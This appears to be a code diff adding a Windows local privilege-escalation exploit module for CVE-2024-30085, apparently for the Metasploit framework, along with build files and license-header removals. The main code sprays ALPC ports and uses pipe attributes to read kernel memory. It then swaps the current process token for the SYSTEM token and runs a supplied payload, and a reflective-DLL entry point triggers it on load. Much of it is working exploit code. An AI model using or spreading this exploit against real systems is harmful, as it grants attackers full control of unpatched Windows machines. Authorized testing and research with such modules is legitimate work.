//printf("[-] Error\n");
return FALSE;
}
//printf("[*] Entering interactive session...\n");
ULONG_PTR ullEPROCaddr = NULL;
ULONG_PTR ullSystemEPROCaddr = NULL;
DWORD dwPid = GetCurrentProcessId();
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
if (hProc == NULL) {
//printf("[-] Error\n");
return FALSE;
}
CONST UINT PIPE_ATTR_TAG = 0x7441704E;
ULONG_PTR ullPipeAttributeAddr = NULL;
if (!GetPoolAddr((PVOID*)&ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000)) {
//printf("[-] Error\n");
return FALSE;
}
if (!GetObjAddr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4)) {
//printf("[-] Error\n");
return FALSE;
}
if (!GetObjAddr((PVOID*)&ullEPROCaddr, GetCurrentProcessId(), hProc)) {
//printf("[-] Error\n");
return FALSE;
}
CHAR pipeName[] = "xxx";
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
ULONG_PTR ullToken;
LIST_ENTRY tmpEntry;
g_message->ExtensionBuffer = (BYTE*)ullPipeAttributeAddr + 0x20;
g_message->ExtensionBufferSize = 0x10;
ULONG DataLength = 0x10;
ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
pAlpcMsgData[1] = 0x00787878; // name
for (int i = 0; i < g_portCount; i++) {
status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status)) {
//printf("[-] Error\n");
return FALSE;
}
}
// read system token
if (!PipeReadAttr(pipeName, outputData, 0x1000)) {
//printf("[-] Error\n");
return FALSE;
}
ullToken = *(ULONG_PTR*)(outputData + tokenOffset);
tmpEntry = g_message->Entry;
if (!isKernAddr(ullToken)) {
//printf("[-] Error\n");
return FALSE;
}
PKALPC_BLOB blob;
blob = (PKALPC_BLOB)(g_reserve)-1;
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
blob->Ref = 1;
blob->Type = AlpcReserveType;
g_reserve->Size = 0x28;
g_reserve->Message = g_message;
blob = (PKALPC_BLOB)(g_message)-1;
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
blob->Ref = 1;
blob->Type = AlpcMessageType;
g_message->Reserve = g_reserve;
g_message->ExtensionBuffer = (BYTE*)ullEPROCaddr + tokenOffset;
g_message->ExtensionBufferSize = 8;
DataLength = 8;
memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
pAlpcMsgData[0] = ullToken;
for (int i = 0; i < g_portCount; i++) {
NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
}
g_message->Entry = tmpEntry;
ExecutePayload(pMsfPayload);
while (1) {};
}
@@ -0,0 +1,184 @@
#pragma once
/*
Definitions (main.h)
*/
#define MAX_MSG_LEN 0x500
#define ALPC_MSGFLG_NONE 0x0
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define WINDOWS_BUILD_19H1 18362
#define WINDOWS_BUILD_19H2 18363
#define SPRAY_COUNT 0x1000
#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
#define CLD_ADD_ITEM(tag, size, offset) {cld->Items[cld -> NumItems].Tag = tag; cld->Items[cld -> NumItems].Size = size; cld->Items[cld -> NumItems].Offset = offset; cld->NumItems++;}
/*
Structs
*/
typedef enum _KALPC_BLOB_TYPE {
AlpcMessageType = 0x200,
AlpcReserveType = 0x700
}
KALPC_BLOB_TYPE;
typedef struct _PORT_MESSAGE {
union {
struct {
USHORT DataLength;
USHORT TotalLength;
}
s1;
ULONG Length;
}
u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
}
s2;
ULONG ZeroInit;
}
u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize;
ULONG CallbackId;
};
}
PORT_MESSAGE, * PPORT_MESSAGE;
typedef struct _KALPC_BLOB {
ULONGLONG Type;
LONGLONG Ref;
ULONGLONG Reserved1;
ULONGLONG Reserved2;
CHAR Data[];
}
KALPC_BLOB, * PKALPC_BLOB;
typedef struct _KALPC_MESSAGE {
struct _LIST_ENTRY Entry;
struct _ALPC_PORT* PortQueue;
struct _ALPC_PORT* OwnerPort;
struct _ETHREAD* WaitingThread;
union {
struct {
ULONG QueueType : 3;
ULONG QueuePortType : 4;
ULONG Canceled : 1;
ULONG Ready : 1;
ULONG ReleaseMessage : 1;
ULONG SharedQuota : 1;
ULONG ReplyWaitReply : 1;
ULONG OwnerPortReference : 1;
ULONG ReceiverReference : 1;
ULONG ViewAttributeRetrieved : 1;
ULONG ViewAttributeDeleteOnRelease : 1;
ULONG InDispatch : 1;
ULONG InCanceledQueue : 1;
}
s1;
ULONG State;
}
u1;
LONG SequenceNo;
union {
struct _EPROCESS* QuotaProcess;
VOID* QuotaBlock;
};
struct _ALPC_PORT* CancelSequencePort;
struct _ALPC_PORT* CancelQueuePort;
LONG CancelSequenceNo;
struct _LIST_ENTRY CancelListEntry;
struct _KALPC_RESERVE* Reserve;
BYTE MessageAttributesStub[0x48];
VOID* DataUserVa;
struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;
struct _ALPC_PORT* ConnectionPort;
struct _ETHREAD* ServerThread;
VOID* WakeReference;
VOID* WakeReference2;
VOID* ExtensionBuffer;
ULONGLONG ExtensionBufferSize;
struct _PORT_MESSAGE PortMessage;
}
KALPC_MESSAGE, * PKALPC_MESSAGE;
typedef struct _KALPC_RESERVE {
struct _ALPC_PORT* OwnerPort;
struct _ALPC_HANDLE_TABLE* HandleTable;
VOID* Handle;
struct _KALPC_MESSAGE* Message;
ULONGLONG Size;
LONG Active;
}
KALPC_RESERVE, * PKALPC_RESERVE;
typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
}
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
}
SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
}
MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
}
GenericReparseBuffer;
}
DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct {
WORD Tag;
WORD Size;
DWORD Offset;
}
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;
typedef struct {
DWORD Magic;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumItems;
REPRASE_CLD_ITEM Items[];
}
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;
/*
Globals
*/
UINT g_portCount = SPRAY_COUNT;
PHANDLE g_ports;
PKALPC_RESERVE g_reserve;
PKALPC_MESSAGE g_message;
@@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{93e2da95-5c4f-4801-9156-e5ab3a944b10}</ProjectGuid>
<RootNamespace>cve202430085dll</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\..\..\..\..\data\exploits\CVE-2024-30085</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="cve-2024-30085-dll.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="cve-2024-30085-dll.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="cve-2024-30085-dll.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cve-2024-30085-dll.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,44 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include "common.h"
#ifdef __cplusplus
extern "C" {
#endif
int Exploit(PMSF_PAYLOAD lpReserved);
#ifdef __cplusplus
}
#endif
void main(PMSF_PAYLOAD lpReserved) {
Exploit(lpReserved);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main(payload);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
-27
View File
@@ -1,27 +0,0 @@
Copyright (C) 2006-2010, Rapid7, Inc
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7, Inc nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-27
View File
@@ -1,30 +1,3 @@
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_CONTEXT_H
#define _VNCDLL_LOADER_CONTEXT_H
-27
View File
@@ -1,30 +1,3 @@
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_INJECT_H
#define _VNCDLL_LOADER_INJECT_H
-27
View File
@@ -1,30 +1,3 @@
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_LOADER_H
#define _VNCDLL_LOADER_LOADER_H
-27
View File
@@ -1,30 +1,3 @@
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_PS_H
#define _VNCDLL_LOADER_PS_H
-27
View File
@@ -1,30 +1,3 @@
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_SESSION_H
#define _VNCDLL_LOADER_SESSION_H
